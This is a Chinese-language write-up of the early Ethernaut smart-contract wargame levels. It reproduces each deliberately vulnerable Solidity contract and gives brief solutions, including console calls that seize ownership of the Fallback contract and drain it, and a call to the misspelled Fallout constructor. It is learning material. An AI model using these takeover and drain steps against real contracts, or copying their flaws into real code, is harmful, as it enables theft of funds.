本文最后更新于 619 天前,其中的信息可能已经有所发展或是发生改变。
Hello Ethernaut
- Solve
通过contract.abi
查看所有函数,通过contract.password
获取密码,contract.authenticate
提交密码
- Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
Fallback
- Challenge
Look carefully at the contract's code below.
You will beat this level if
- you claim ownership of the contract
- you reduce its balance to 0
Things that might help
- How to send ether when interacting with an ABI
- How to send ether outside of the ABI
- Converting to and from wei/ether units (see help() command)
- Fallback methods
- Solve
调用
fallback
(合约可以有一个未命名的函数,无参数,无返回值)
- 调用合约中不存在的函数
- 当合约收到以太币
- 触发
fallback
函数,改变合约所有者,contribute
函数的条件几乎不可能达到,但是fallback
中的contributions[msg.sender] > 0
需要通过contribute()
来实现
contract.contribute({value:1})
contract.sendTransaction({value:1}) // 也可以通过 MeteMask 发送
// 此时 owner 为我们自己
contract.withdraw();
// 将钱全部转回
- Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Fallout
- Solve其中构造函数名称拼写错误,
Fallout
->Fal1out
导致成为public
函数,任何都可以调用
contract.Fal1out()
- Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
Coin Flip
- Challenge
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.
Things that might help
See the Help page above, section "Beyond the console"
- Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}